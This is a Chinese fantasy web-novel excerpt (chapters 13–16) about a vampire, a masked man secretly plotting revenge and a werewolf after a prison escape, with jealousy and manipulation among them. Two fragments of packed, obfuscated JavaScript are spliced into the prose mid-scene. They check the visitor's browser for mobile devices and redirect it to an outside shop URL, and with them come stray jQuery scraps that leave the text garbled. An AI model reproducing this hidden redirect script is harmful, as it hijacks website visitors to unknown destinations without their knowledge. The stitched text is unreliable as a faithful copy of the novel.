“泡泡倒是没问题……”莲沉默片刻,缓缓道:“但监狱附近的海面都被无人机包围了,它们的扫描都带热量检测,你一浮上去就会被发现。” “小意思。”原叶伸展了下手臂,唰地变成蝙蝠形态,“来,给我个泡泡,我上去看看外面什么情况。” 原叶拍击着翅膀浮空,等着莲给她套上泡泡,却看见明显愣住的莲和一脸震惊的卢卡斯。 “怎么了?”原叶飞在空中,薄膜翅爪上附着灰色绒毛泛着细腻的微光,“这样体型够小了吧?而且我没有体温,到海面上也不会被发现的,我上去之后看看哪里安全,再回来告诉你们。” 半晌,莲和卢卡斯同时开口:“你能变成蝙蝠?”、“好可爱……” “对啊,”原叶灵活地落在卢卡斯头上,踩住帽檐抖了抖毛,“这有什么稀奇的,血族都能变身成蝙蝠。” “就是……没想到会这么小。”莲似乎在憋笑,声音有些断续,“肚子真圆,像只长翅膀的仓鼠,噗,哈哈哈哈哈。” 好像不准备再忍住似的,莲拍着大腿哈哈大笑起来,后半句话像憋不住窜出来的稀一样难听。 原叶勃然大怒:“说话注意点!这可是我特意维持的大小,隐蔽性很好的!” 她蓦地暴起,一翅膀闪电般地扇在莲的脑袋上,莲躲避不及,头顶重重挨了一下,一看便是精心抓过的发型被刮得乱七八糟。 “好快!”卢卡斯眼睛里几乎要冒出星星,“好厉害!” “那当然,”原叶骄傲地拍拍翅膀,落回帽檐上,“总算有个有眼光的。” 原叶夹起翅膀望向莲,他已经不笑了。 莲沉默地整理好头发,慢慢抬起头,漆黑的面具仿佛吸走了海底本就昏暗的微光,冷白的手臂是青筋凸起,几缕散落的黑发幽幽拂在颈侧,阴测测的目光透过面具,犹如绳网般缠绕过来。 好家伙,不就是被打了下头,至于这么生气吗?变脸跟翻书似的…… 原叶被他盯得打了个寒噤,莫名觉得莲这股鬼气森森的劲儿好像在哪里见过。 不等她回忆起究竟是哪里,莲抬手一指,透明的泡泡瞬间在原叶眼前面前合拢,将她连爪带翅膀严丝合缝地包了进去。 泡泡轻盈又透亮,原叶下意识用爪尖捅了捅内壁,锋利的尖爪被泡泡柔韧地包裹,泡泡被戳成尖嘴鱼一样,却没有破裂。原叶又试着扇动翅膀控制方向,泡泡也随着她的动作移动。 “快去吧。”莲忽然笑起来,声音清朗愉快,“我们在这里等你。” “哦、哦,好。”原叶下意识应道。 “一路顺风,早点回来。”莲身形舒展,姿态自如,正愉悦地朝她挥手。舒展得体的样子,仿佛刚才厉鬼般的阴森只是一场幻觉,叫原叶蓦地从爪尖窜起一股凉意。 坏了,碰上腹黑的小心眼了。 原叶冷汗淋漓,有种自己的名字会在今天稍后时候被一笔一画恶狠狠写进死亡笔记里画圈诅咒的恶寒。脑子里的弦一下崩起来,刚对莲升起的一点亲近感随着他一下一下摆动的手被挥得七零八落。 她迅速振翅跃出装着三人的大泡泡,钻入外面的海水,飞快向海面的方向游动。 小泡泡移动起来十分轻快,原叶一面往上游,一面又能清晰地感觉到莲的视线死死黏在背后,宛如幽暗沼泽中潜伏捕食的巨蟒,令她脊背发凉。 直到绕开巨型珊瑚丛,再看不到大泡泡的踪影,那股令人毛发倒竖的黏冷感才消失。 14. 第 14 章 阴暗冰冷的海底,一枚圆滚滚的泡泡顺着海流幽幽浮动。 泡泡里,一只蜷成团的灰色蝙蝠正缓缓自转。 果然还是应该相信直觉的! 原叶抱着翅膀,悔恨地旋转。 当初无名钟所第一次见的莲的时候她明明还犯了潮人恐惧症的!怎么后面看他好说话就放松警惕了呢! 脱离了那个装着三个人的大泡泡,进入幽深寂静的海水,人生中第一次劫狱带来的肾上腺素也逐渐消退,理智再次回归。 念及刚才的事,想起莲那与阳光爽朗的语气截然相反的阴冷目光,看着扇了莲的那只爪子,原叶恨不得抽自己一巴掌。 原叶啊原叶,你怎么总是疏忽大意呢! 现在好了,得罪了翻脸如翻书的小心眼,关键以后还得跟他合作,这可怎么办! 原叶噼里啪啦地扑腾着翅膀,焦躁地在泡泡里来回撞击。 直到泡泡失控地飘向修长缠绕的海草,柔软的海草藤蔓一般裹上,她才后知后觉地看向周围。 悠悠晃动的漆黑海草…… 有点像莲被她打乱的头发。 一想到莲刚才瞬间阴沉的感觉,原叶顿觉烦闷,操作泡泡飘离,慢慢往海面上游。 她和莲同为非人的异族,虽然不知道莲的种族,也不知道他活了多久,但她自己活了一百多年下来,除了死亡,没有真正意义上的怕过什么。 可是如今,她却在面对莲时总是不自觉地松懈,好像潜意识里总觉得他能信任似的,这种感觉让她感到恐惧。 不该这样的,她不该对一个只见过两面、其中第一次见面还一下子就很没礼貌地抱过来的异性感到信任。 而且不知怎么回事,明明和莲才刚刚认识,可面对莲时,她却总有一种模模糊糊的罪恶感,好像她曾经做过什么让他很困扰的事一样。 更糟糕的是,莲有意无意的肢体接触和身上隐约的清冽温暖的血香迷惑了她的判断、模糊了她的边界感,再加上莲身上有一种好像对他做什么都可以的诡异的纵容感,直接导致她无意间在他面前暴露了真实的性格好恶,还肆无忌惮地打了他的头。 太失败了,太失败了,怎么能做出这种事情? 好丢脸啊。 原叶越想越气,既气自己松懈自大的举止,也气莲有意无意的纵容。她愤怒地裹着泡泡撞烂一条睡着的鱼,从鱼尸的血洞中幽幽穿过。 盯着在海水中氤氲开来的污血,原叶脑海中飞快地闪过模糊的想法。 她一向独来独往,早年的遭遇与后天漂泊不定危机四伏的生活让她不仅没有交朋友的机会,也没有与他人建立长期联系的途径。 除了捕猎以外,她从没有像这次与莲合作营救卢卡斯的任务这样,和同类或者说异性有过这次这么长时间的接触,因此也没有办法很好地把握正常的社交距离和分寸。 只怪一直以来以捕猎为目的遇到的男人都是目的性很明显的蠢货,她不需要思考正常该如何与他们社交,只要顺着这群浅薄的家伙对女人的心理预期去表现,几句话就能把他们骗到没人的地方下手。 除了捕猎时凭本能运用的诱捕话术之外,她不知道如何与人深层次、长时间的对话,也不知道该如何把握正常的社交距离。 原叶的大脑迅速运作,模糊的想法逐渐凝实,终于找到自己的版本漏洞。 对了,是经验的问题! 她虽然活了很久,但是和人正经接触的经验很少,所以一旦遇到社交上拥有更高段位的人,便很容易因经验不足而暴露弱点,在不知不觉中被人操控。 莲那游刃有余的样子,显然是个中高手。 可恶啊!莲你究竟是何居心!是故意想看我笑话吗! 原叶咬牙切齿地往海面上飞,愤怒的翅膀在泡泡里拍出残影。 她现在已经懂了,莲就像是表面覆盖着青翠欲滴的漂亮植被的沼泽,如果被表面上的美丽自然吸引,不自觉走上去,就会直接被拉进下方深不见底的泥沼,尸骨无踪。 她必须转换策略,必须提起十二分的注意。 既然她在这方面薄弱,那她就抓住机会多观察多互动多学习。莲就是现成的活教材,下一次接触中,她一定能有所进步。 哼,你等着。 原叶眯起眼睛,慢慢磨着后槽牙。 …… 雅彦心情不佳。 原叶离开后,珊瑚下的泡泡里就只剩他和卢卡斯两人。 卢卡斯眉眼间不安和温驯的神情在原叶游过珊瑚丛后便消失了,他抬手摘下棒球帽,修长的手指将浓密的银白色头发向脑后梳去,露出清冽的五官,面色近乎淡漠。 身子径直后仰,一条腿曲着支在身前,另一条腿伸直,坐姿颇为放佚。 雅彦不由蹙眉,不动声色道:“你没事了?” 卢卡斯瞥了他一眼,冷淡地扬起下巴。 看清卢卡斯眼底毫不掩饰地厌恶与敌意,雅彦忍不住笑了一声,“不装了是吧。” “装什么?”卢卡斯眨眼,琥珀色的瞳眸微弯,显出点顽劣的恶意。 雅彦冷笑一声,在卢卡斯斜对面坐下,长腿一伸,靴底几乎擦着卢卡斯的尾巴过去。 他无意与卢卡斯为友,反正他“莲”的身份是伪造的,这次按伊洛缇娅的要求把卢卡斯救出来之后,大概率再也不会以这个身份与他见面。 盯着卢卡斯不悦的眼神,雅彦也不再顾忌什么,他懒得再和他兜圈子,直接开口嘲讽:“刚才她在这里的时候,你像条狗一样巴着她,她一走,您就摇身一变,成了高贵的人了?” 他这一番话毫不掩饰恶意,卢卡斯却没像他想的一样暴跳如雷。 相反,他那对碍眼的狼耳在头上抖了抖,尾尖也悠哉悠哉地轻摇着,唇角勾起隐约的弧度。 “你喜欢她?”卢卡斯抱着手臂,似笑非笑。 雅彦顿感不适,“你在说什么。” “或许你以为自己很隐蔽,戴着面具藏着你的脸,但生理反应是藏不住的。”卢卡斯慢条斯理笑着,琥珀色的眼睛闪过揶揄,“你那种眼神……或者说气场、你散发出的情绪、气味……” 雅彦的面色一点点沉下去,卢卡斯唇角的笑容却越来越大。 “不要小看我们狼人的嗅觉和第六感,她一靠近我,你就用杀人一样的眼神看我,你身上的气味也充满愤怒……啊,是的,就像现在这样……真是可怕啊,你看得我毛发倒竖呢。” “闭嘴。”胸腔内怒意翻涌,雅彦恶狠狠地打断他,“再说一个字,我就把你扔出去喂鱼。” “不,你不会的。”卢卡斯笑得笃定,“你的任务是救我出来,护送我回无名钟所,和会长交差,对吗?” 雅彦默不作声。 会长特意叮嘱过他务必将卢卡斯全须全尾地护送回去,为此还给了他最高阶的治愈药剂。 现在治愈药剂用完了,他的确不能对卢卡斯做什么,只能口头威胁,卢卡斯那样敏锐,立即便点破了他虚张声势,踩住了他的软肋。 “被我说中了,对吗?”见他不说话,卢卡斯笑眯眯地又补一刀,随即便像有些困惑似地微微歪着头,“我很好奇,你为什么不肯承认呢?这又不是什么见不得人的事。” “承认什么?”雅彦蹙眉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334225|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卢卡斯一瞬不瞬地盯着他:“承认你喜欢她。” “不可能!”雅彦脱口而出。 不假思索地回答之后,一股难以压制的怒火混着被冒犯的耻辱如浪潮般涌上,冲得他头都烧了起来。 这只该死的狗在怪叫什么! 被人打多了,神经错乱,在这里胡言乱语! 他怎么可能喜欢一个跟踪狂?! “你想说你不喜欢她?哥们儿,骗骗我可以,别把自己骗了。”卢卡斯轻笑出声,“这种事对我们来说是很珍贵少有的,承认没什么丢脸的。” 不等雅彦作出反应,卢卡斯便凝着他,一字一顿:“我可以明确告诉你,我喜欢她,我要追她。” 雅彦死死咬着牙,“不行。” “为什么?这是我的自由,既然你说你不喜欢,你们又没在一起,我凭什么不能追她?”卢卡斯反唇相讥。“就算你们在一起,我也没什么不能追,只要她喜欢。” 随后他像是想到了什么,忽然勾唇笑起来:“也是,她好像对你没那个意思,难怪你是这种反应。” 雅彦脑子里嗡嗡响,头晕目眩地从牙缝中挤出两个字:“……住嘴。” 卢卡斯却置若罔闻,他眼神微微放空,显然在回忆着什么。 “我的心从来没有跳得那么快……啊,原叶……从天而降,把我从痛苦中解救出来,满眼都是真心实意的担忧……光投射在她身上,她就像天使一样闪闪发亮,那样纯洁、美好,那样赤诚……” 说着说着,卢卡斯胸腹起伏越发明显,面上晕开红晕,瞳孔微微扩大,沉醉似的呢喃:“还有她那双眼睛……分明是燃火的血红宝石……光是被她看着,我的心脏就像是被灼烧一样,全身都忍不住颤抖……” 雅彦胃部一阵痉挛,卢卡斯每说一句肉麻的话,他的胃就抽搐一次,涨得他两眼发晕。 强压下翻涌的恶心感,雅彦正准备回以讥讽,脑内一直模模糊糊的什么突然像是被一道利剑劈开,他猝然一怔。 他这是在争什么? 用“莲”这个身份接近原叶,引诱她,让她喜欢上“莲”,不正是他计划里的一部分吗? 那么现在卢卡斯觉得他——也就是“莲”喜欢原叶,不是正好吗? 没错,正好,而且这样更有说服力。 这样一想,雅彦如释重负,不由长长呼出一口气。 这样是对的。 喜欢原叶的莲一定会与情敌卢卡斯产生冲突。 这就是莲的人设。 这对他的目的有利。 似乎感觉到他的放松,卢卡斯微微眯起眼,“想通了?” 雅彦已然冷静下来:“你说的不错,我是喜欢她。” 对于“莲”突如其来的坦诚,卢卡斯似乎一点都不意外,“嗯,早点承认不就好了,没有男人会不喜欢她。” 雅彦心里隐约冒出些许焦躁,下意识问道:“你想怎么样?” “不用担心我,我不会告诉她的。毕竟你救了我,也是我的恩人之一。”卢卡斯银白的眼睫如羽毛般轻颤,“我们……公平竞争。” “公平竞争?”雅彦冷笑一声,“我认识她在先。” “那又怎么了?她对你又没有意思,对我还更喜欢些。”卢卡斯炫耀似的晃着尾巴,毛茸茸的狼耳灵活地竖起,“你刚才不也看到了?” “她没有。”雅彦不自觉提高了声音,“她只是喜欢带毛的东西,换一只长毛的□□来她也会喜欢。” “哦?”卢卡斯唇部扬起淡漠的弧度,狼耳紧贴发丝向后压下,琥珀色的眼睛里满是挑衅,“那我们走着瞧。” 15. 第 15 章 夜风呼啸着掀过海面,数架警备无人机在低空盘旋,离岛监狱的大桥两侧亮着密密麻麻的灯光,逐渐延伸至远处的海岸。 昏沉的海面缓缓浮起一个不起眼的小泡,一只探头探脑的蝙蝠借助起伏的浪波小心地隐藏着身型,观察着周围。 确认各处无人机与船舶的位置后,原叶在脑内演练了一遍安全路线,扎回海底给莲和卢卡斯报信。 大泡泡还在珊瑚丛深处,原叶撞进泡泡里,轻盈地落在卢卡斯旁边。 “我回来了,”原叶拍拍翅膀,“没等太久吧?” 无人回应。 莲和卢卡斯各自坐在泡泡的一侧,莲偏着头,手里有一搭没一搭地转着蝴蝶刀,卢卡斯垂着耳朵,握着她的棒球帽,眼底暗含水光。 原叶眉间一跳,嗅到棘手的气息。 这俩人,不会吵架了吧。 “嗨呀,上边被围得水泄不通,近海是没法走了。”原叶故作轻松地歪着身子抖毛,“不过呢,我找到一条安全路线,咱们可以从崖边上岸。” 无人应答。 莲微扬着下颌,偏头不知道在看哪里。 卢卡斯眼尾泛红,微抿着唇,狼耳有气无力地耷拉着。 原叶忍了又忍,还是没忍住:“有人理我一下吗?你们俩怎么了?” 卢卡斯仰起脸,狭长微翘的眼尾水光盈盈,“……对不起,我不是故意不理你,是……”他很轻微的哽咽了一下,“是莲不让我和你说话。” “啊?”原叶一愣。 “你说什么!?”雅彦猛地扭过头来,语气饱含着不可置信。他没想到卢卡斯张口就来,直接给他扣了屎盆子,“我什么时候说过这话?” 卢卡斯瑟缩了一下,绒绒的尾巴颤抖着圈住原叶,仿佛终于找到撑腰靠山的幼犬,急切地诉说:“刚刚你一走,莲就变了一幅模样,说、说让我看清自己几斤几两,别在这里装可怜……还说如果我再和你说话,他就要我好看……” “啊?!”原叶傻眼了,这都哪跟哪啊? 这还是刚才那个海底的大泡泡吗? 本来她还觉得刚才对莲做了失礼的事,估计被他记恨上了,内心深处既尴尬又愤懑,回来的路上还特意磨蹭了一会儿,想着要提防下莲,回了泡泡得看情况和他道个歉,却没想到刚回来就撞上莲和卢卡斯闹了不愉快。 而且……原叶回忆着卢卡斯的话,觉得莲实在荒谬。 什么叫让卢卡斯看清斤两?凭什么不让卢卡斯和她说话? 雅彦觉得卢卡斯实在荒谬。 刚才他们虽然说好“公平竞争”,但随即便相看两厌,索性谁也不再言语,只干等着原叶回来,没想到原叶刚回来,卢卡斯便突然发难。 这就是他口中的公平吗? 雅彦气得要笑出来。 好啊,既然他不仁,那他也不客气了。 “胡说八道!我没有说过。”雅彦霍地站起身,面向卢卡斯。 “可是……你刚才明明说了……” 卢卡斯轻声细语,每个字却都毒虫叮在指关节般叫他疼痒:“既然说得出口,为什么不承认呢……” 没想到卢卡斯睁着眼说瞎话,一开口就是造谣,模样还委屈至极,雅彦头脑一阵眩晕。 原来是这么个让他“走着瞧”! 他努力压制着情绪,定定地回望,却见卢卡斯仗着此时原叶的角度看不见他的脸,身体装作害怕似地瑟缩着,一双琥珀色的眼睛狡狐般半眯着,凝着他的目光写满挑衅。 再看被他以狼尾圈住的原叶,那小小的灰色蝙蝠一脸懵懂地淹没在雪白的绒毛里,虽看不清表情,但黑亮的双瞳写满狐疑,十分警惕地望向自己,显然已经对卢卡斯的话信了七七八八。 雅彦心里顿时涌起一阵愤懑委屈。 他不理解为什么原叶会如此偏心初次见面的卢卡斯,以至于卢卡斯说什么她信什么。 难道他这一路作为同伴展示出的素养还不值得信任吗? 至少“莲”才是她先认识的人啊? 凝视着一脸得意的卢卡斯,他心中的怒火再难压抑,真情脱口而出:“贱狗,你少耍花招!” “贱狗”。 这两字如同清晨的闹钟,一下把原叶惊醒,她浑身一震,奋力从卢卡斯紧紧圈住她的毛绒尾巴里钻出,迅速变回人形,厉声质问道:“你怎么能骂卢卡斯是贱狗?!和卢卡斯道歉!” 莲却一反常态,态度十分坚决:“不可能。” 原叶不可置信地盯着莲。 她原以为莲虽然又腹黑又小心眼,但好歹是个体面人,她还对打了他的头一事心怀一点点歉意。 没想到莲竟然会当面对素昧平生的卢卡斯说出如此侮辱性的话语,还拒绝道歉。 有病吧? 原叶心中对莲的那点隐秘的歉意已经被他贱狗那两个字砸得烟消云散,被竭力压抑起来的不满再次冒出水面。 她紧皱眉头,反问莲:“为什么?你不觉得你的话很过分吗?” 莲冷哼一声,“这个词用在他身上正好。” “你!”原叶被莲理直气壮的模样噎到,正想再辩,衣服忽然被拽住。 卢卡斯轻轻拽了拽她的衣角,“我没关系的……你们不要吵架……” 原叶回过神来,便望进卢卡斯澄澈的双眼,他满脸歉意,显然内疚至极,嘴唇抿着,小心翼翼地说:“莲也不是故意的,他可能只是一时口不择言,我没事的……” 原叶张了张嘴,一想到卢卡斯被莲羞辱却没计较、反而依然想着维护和睦替他说话,她心头火更盛,压下情绪,安抚式地拍拍卢卡斯的手,“你不用担心。” 她又转向莲,“你不道歉是吧。行,真没想到你是这种人!” 莲露在面具外的脖颈血管鼓胀,声气冰冷:“我是哪种人?别忘了我还给你带了血!” 原叶当然记得,她对莲的好感度也有一大部分来自他能给她弄来那极品血液,但一码归一码,此时她只觉得莲不可理喻,回来前想的要提防莲、要对他好一点、从他身上学点社交本事的念头早被抛到九霄云外。 “是,你是给我带了血,”原叶越想越气,一连串心里话连珠炮似的蹦出来,“但是,那不是你辱骂别人的借口!而且你凭什么不让卢卡斯跟我说话?你觉得你很了不起吗?看我不顺眼就想孤立我是吧?亏我还以为你是个好人!” 原叶心里恼火,说到底,她这次去无名钟所,最初的目的是想找伊洛缇娅寻求帮助,但见到伊洛缇娅、又见到莲、现在又救出了卢卡斯,她心里其实早就升起暗暗的期待。 她从来没有这么快认识这么多异族伙伴,还期待终于能够体验交朋友的感觉,毕竟她太久没有过正常的社交,也没有交朋友的机会和条件。 现在一下冒出两个潜在朋友,还都是不用隐藏自己血族身份的、与自己站在同一边的异族,她心里对友情的期待和即将实现期待的雀跃都涌了上来。 更不用说这两个潜在朋友一个能给她找来极品美味的血,另一个有着她最喜欢的毛绒绒耳朵和尾巴。 还有比这更好的事吗? 她没想到,正在她心红的时候,潜在朋友一号莲却给了她当头两棒:他不仅像沼泽里潜伏的毒蛇一样用危险的眼神看她,展现出完全超乎意料的超绝阴暗面,让她意识到自己社交经验不足,还肆无忌惮地用恶毒的语言伤害了另一个无辜脆弱、正明显需要安慰的潜在朋友二号——可怜的卢卡斯。 莲用实际行动破坏了她隐藏在内心深处的美好期盼。 看她不顺眼、想孤立她? 雅彦愕然。 他的确看原叶不顺眼,否则也不能大费周章地制定复仇计划,又伪装出一个莫须有的身份来接近她。 但什么叫要孤立她? 他忍不住仔细端详原叶,见原叶义正严辞,眼神愤慨,心中疑惑更甚。 不是,原叶从他和卢卡斯的表现里读出的竟然是这种意思吗? 她以为这是什么?小学生风起云涌的过家家吗? 雅彦顿时有种对牛弹琴的感觉,一股憋闷的情绪噎得他哑口无言。 他再次凝向原叶,想从她的表情中找出哪怕一丝也好的假装或者装傻的痕迹。 然而原叶双目清明、目光直白、愤怒得很坦荡,显然是真以为他想使坏,阻止她交朋友,将她从人际关系中孤立。 不是…… 雅彦不可思议地看着原叶。 她之前在中心商区的俱乐部里搭讪男人的时候不是很熟练吗?也不像是不通七情六欲的样子,怎么会在现在轴得像个小学生?怎么连这么明显的东西都看不出来? “你觉得我是在孤立你?”雅彦开口,声音有些干涩。 “不然呢?你以为我看不出来?”原叶义愤填膺。 她瞪着莲,见他饱满的胸膛一起一伏地,立即联想到第一次见面莲就抱过来的事。当时以为他是热情,现在看来分明是没把她看在眼里,后面一起出任务更是一直问她隐私问题,又展示高超的异能,明显是想在关系中处在高位。 原叶越想越觉得头脑清明,先前曾想着多一个朋友多条路,现在心已经凉了半截,想和莲交朋友的心思也散了个七七八八。 有些人注定无法成为朋友。 你想和他平等相处,他却想骑在你头上。 如此一想,她干脆直接把话挑明:“你是觉得现在血族就剩我一个了,觉得我好欺负,对不对?别以为你能弄来极品好血就能把我发展成对你言听计从的小弟,我告诉你,和谁说话是我的自由,你管不着,你也不配管,别太把自己当回事!没了你那点血,老娘照样活得好好的!” “……” 雅彦哑口无言。 直到现在,他这才意识到自己竟然完全看不懂原叶,对牛弹琴起码知道那是个牛,原叶却好像一时一分就变换一副面孔,压根摸不清她的脾性,仿佛面对一个不可名状的马赛克。 原叶笃定了他是想操纵她的人际关系,这点细究下来,他的确存了这份心思。 他不想她和卢卡斯走得太近。 因为……那对他的计划不利。 更何况他根本没对卢卡斯说过那些话,都是卢卡斯捏造是非。 可是原叶相信了。 她竟然相信了! 雅彦眼前一阵阵发黑。 原叶无疑是敏锐的,但她也是武断的。 她敏锐地察觉到他存着想操纵她的心思,于是武断地划出一条分界线,将她和卢卡斯划在线里,将他排除在线外。 看着站在卢卡斯身前,明显有护着他的动作的原叶,雅彦嗓子眼里好像堵了一块湿棉花,想咽咽不下去,心里没来由地一阵难受,忽然有种深深的无力感。 算了,就让她这么想去吧。 看她这幅迟钝的德行,估计是真把卢卡斯当朋友了,搞不好根本没意识到那个放荡的贱狗是公的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莲纹丝未动,依旧躬着身子,黑发向两侧滑开,干净的后颈微微泛着瓷白光泽,仿佛引颈受戮的天鹅:“我是真心的,真的很抱歉,请原谅我。” 原叶有点不敢相信,刚才还那么生气的莲,现在就低头认错了? 而且他刚刚说什么? 会免费给她提供那种极品美味血? 她还记得之前在线上和莲谈价格的时候,他一袋血开价近千元,这价格实在让她肉疼,但为了那口味道也咬牙应下了,现在他竟然愿意免费给她吗? 原叶心里把莲从预备朋友一号的位置划掉的那条删除线很不争气地开始变浅、松动。 “……真的吗?”她忍不住问,“真的免费给我?限不限次数?” “不限,永久免费。”莲轻声细语,“你要多少都行。” 能一直喝到极品美味血……还是免费不限量…… 早先觉着莲是个阴险小人的想法顿时被抛到九霄云外,原叶只觉得他左边面具写着“长期”,右边写着“饭票”,中间印着“极品美味”。这八个字组合在一起,怎么看怎么顺眼,怎么看怎么舒心。 莲原来是这么好的人!她真是走眼了! 原叶下意识舔了舔唇,舌尖仿佛又尝到那血甘美无比的滋味,加上前面说的不少话,越发口干舌燥。 和好,应该是要握手来着? “好,你说到要做到。”原叶双手扶住莲的肩膀,微微用力,让他直起身来。 莲顺从地直起身,定定地看着她,“说到做到。” “好,我原谅你。”原叶朝他伸出手,“握手。” 莲似乎愣了一下,周身散出柔和的气场,伸手轻轻握住她,手掌温暖干燥,一如他清朗的声线:“谢谢你。” 原叶莫名有些脸热,握了一下便松开莲,随即想起卢卡斯还没表态,连忙低头问他:“卢卡斯,莲道歉了,你愿意原谅他吗?你们也握个手吧?” 面具后,雅彦失笑。 简直就是小学生过家家。 他凝着卢卡斯,等他反应。 卢卡斯果然听原叶的话,顺从地站起身来,高大的身材挡住泡泡内的光源,投下的灰纱般的阴影。 不知他是有意还是无意,那阴影正正好笼在原叶身上,将她包裹其中。 雅彦眯起眼沉默着上前两步,影随身动,不动声色地盖过卢卡斯的影子,覆在原叶身上。 直到与卢卡斯正面相对,雅彦才发现卢卡斯虽然一副矫揉造作的小人做派,但毕竟是狼人族,身材高大挺拔,肩宽腿长,站在一起甚至比他还高出两三厘米。 意识到这一点,雅彦顿时心生不快,同样,他也在卢卡斯眼里看到得逞的快意。 他微微偏头,余光看着原叶,她对他们之间暗流一无所知,正眼睛澄亮地看着他们,等着他们握手言和。 卢卡斯朝他伸出手。 雅彦垂在身侧的指尖轻微痉挛一瞬,他缓慢抬腕,也伸出手。 两只骨节分明的大手握在一起。 “对不起。”雅彦强压着胃里翻涌的恶心感,挤出真诚恳切的声音。 “没关系。”卢卡斯弯着眼睛,语气坦然。 看见莲与卢卡斯和好,原叶心里说不出的高兴,还有种莫名的成就感。 “莲,有件事我也要跟你道声歉。”原叶有些不好意思,“刚才我不应该故意刮乱你的发型,不好意思。” “没有关系,”莲轻笑,“是我先前措辞不当,让你生气了,你打我是应该的。” “……噢、噢。”原叶又莫名觉得脸热起来,支支吾吾地别开头,转移话题:“那什么,咱们先上岸吧,我带路。” “好。”“麻烦你了。” 16. 第 16 章 原叶带着莲和卢卡斯从安全的路线一路上岸跑回城区时,月亮仍高悬天空,远离骚乱的监狱一带,伊甸园的夜晚依然寂静无声。 行至来时的小巷,卢卡斯似乎有些体力不支,忽然摔倒在地上。 原叶被他倒地的动静吓到,急忙停下脚步,“卢卡斯,你怎么了?” 卢卡斯撑着地,勉强支起身子,唇色苍白,“可能是之前被抽了太多骨髓,还没完全恢复……”他轻轻喘息着,瞳孔竟然开始涣散:“想……吃东西……” “确实,他虽然身体恢复了,但毕竟是重伤初愈,还是虚弱了点。”莲也蹲下来,扶着卢卡斯另一侧的肩膀。 “啊?!”原叶顿时愧疚不已,她还以为伊洛缇娅的恢复药剂能让人原地满血复活,没想到还得吃东西。感情她拉着饥肠辘辘的卢卡斯跑了一路,让人家低血糖了。 她四下看看,正好瞅见不远处的自动贩卖机,赶紧过去买了些几包零食和饮料递给卢卡斯:“快吃快吃。” “谢谢你。”卢卡斯听话地接过,动作文雅地撕开包装,小口小口地吃起来。 见卢卡斯身体这么虚弱了吃相依然优雅,原叶自愧弗如,她一饿起来就什么不顾了,当时在无名钟所初见莲,拿到他给的血,一分钟内就连干两包,没有一点风度。 莲显然也想到了,看向她的目光意味深长,原叶心虚地转过头。 卢卡斯吃完,脸色明显好了不少:“我好多了,咱们出发吧?是今晚回钟所吗?” 原叶也正在想这事,劫狱的过程比他们想象的闹得大,现在伊甸园各条道路和出入口已经进入戒严模式,原计划的浑水摸鱼出去的路线肯定行不通了。 如果只有她自己,她倒是能变成蝙蝠跟着垃圾一起被发射出去,但卢卡斯和莲这么大两个人要怎么离开? 正当她发愁之际,莲微笑着说:“劫狱的事暴露,原本计划的逃出路线没法用了,不如先在我家避避风头。” “去你家?”原叶十分意外,“方便吗?” “当然,那里算是我的安全屋,圣裁军也不会查到那里。”莲双臂环胸,语气笃定。 原叶半信半疑,圣裁军那帮人挨家挨户搜查的样子她是知道的,她不觉得还会有地方不会被查到,但眼下也没有更好的办法,现在已经接近凌晨四点,再拖下去,天亮了更不好办。 “行,你带路吧。”原叶果断地站起身,卢卡斯也点了点头。 …… 草坪灯柔和的光亮蜿蜒至雅致的玄关,门廊两侧的景观树错落有致,斑驳的树影投在深灰的花砖上,随着夜风缓缓摇曳。 “哇……”原叶惊叹地来回转头,兴致勃勃地到处看,“竟然是建在半山腰上的花园别墅,莲,原来你这么有钱吗?” 见原叶一副激动的样子,雅彦很轻地笑一声,上前输入密码,打开入户门。 这里是异端审判会圈出来给高层管理人员用的私产,他从父亲手里买下来作为平时学习工作的自用住宅,圣裁军不会查自己领导的住所,用来避风头正好。 “之前随手买的,看中这里安静。”雅彦回答。 余光见卢卡斯面色暗含不爽,雅彦心中顿时涌上扳回一局的快意。 他将二人让进门,云淡风轻道:“就我一个人住,装修比较简陋,希望你们别嫌弃。” “你管这叫简陋?” 原叶率先迈进玄关,她环视四周,白皙的手在实木边柜上摸摸敲敲,“啧啧,这黑胡桃木好,你这套是定做的吧?” 没想到原叶还懂得这些,雅彦不置可否。 经过刚才吵架和好,原叶似乎不再有任何矜持,不仅又恢复成初见时没心没肺的模样,甚至说话也越发不客气起来:“装货,想炫就炫嘛,你嘴可真严,要是我住你这房子,我每天都要拍九十张照片发十条动态艾特一百个网友来看。” 雅彦忍不住笑起来,“那你拍吧,我同意你发。” “得了吧,”原叶撇撇嘴,动作麻利地换上拖鞋,“我才不发呢,发出去不就暴露你家了吗?你以后还怎么住?我跟你开玩笑呢。” 几句玩笑话后,雅彦带原叶和卢卡斯简单参观房子,将他们分别安排在客房。 原叶见她的房间还内套卫浴,欢呼一声就进去洗澡,而卢卡斯却站在走廊,迟迟未动。 雅彦上前替他打开浴室的门,“不好意思,你的房间没有套内卫生间,请在客卫洗吧。” 卢卡斯从进门就很安静,此时却显然易见地推拒起来:“谢谢,我就不用了吧。” 不用了? 雅彦眉头一跳,上下打量起卢卡斯来。 一头银发在走廊的射灯下浮着浅淡的尘土,借给他穿的外套也因小巷里摔得那一跤沾上灰印,双腿只穿着单薄的手术服,露出一截染血的跟腱。 卢卡斯光脚跟着他们跑了一路,脚面和脚踝也交错着轻微的划伤,好在脚底板踩在干净的一次性拖鞋里,没把地面弄脏。 “不行,你得去洗澡。”洁癖发作的雅彦强忍不适,一字一句地说,“你身上太脏了。” “我不想洗,我擦擦就可以了。”卢卡斯露出礼貌的笑容,“你去忙你的吧。” “我没什么好忙的,要说忙,就是去洗澡。”雅彦垂在身侧的指尖轻微抽搐一下,竭力控制住情绪,平静地问:“你真的不洗澡吗?” 他有种卢卡斯不准备配合他的预感。 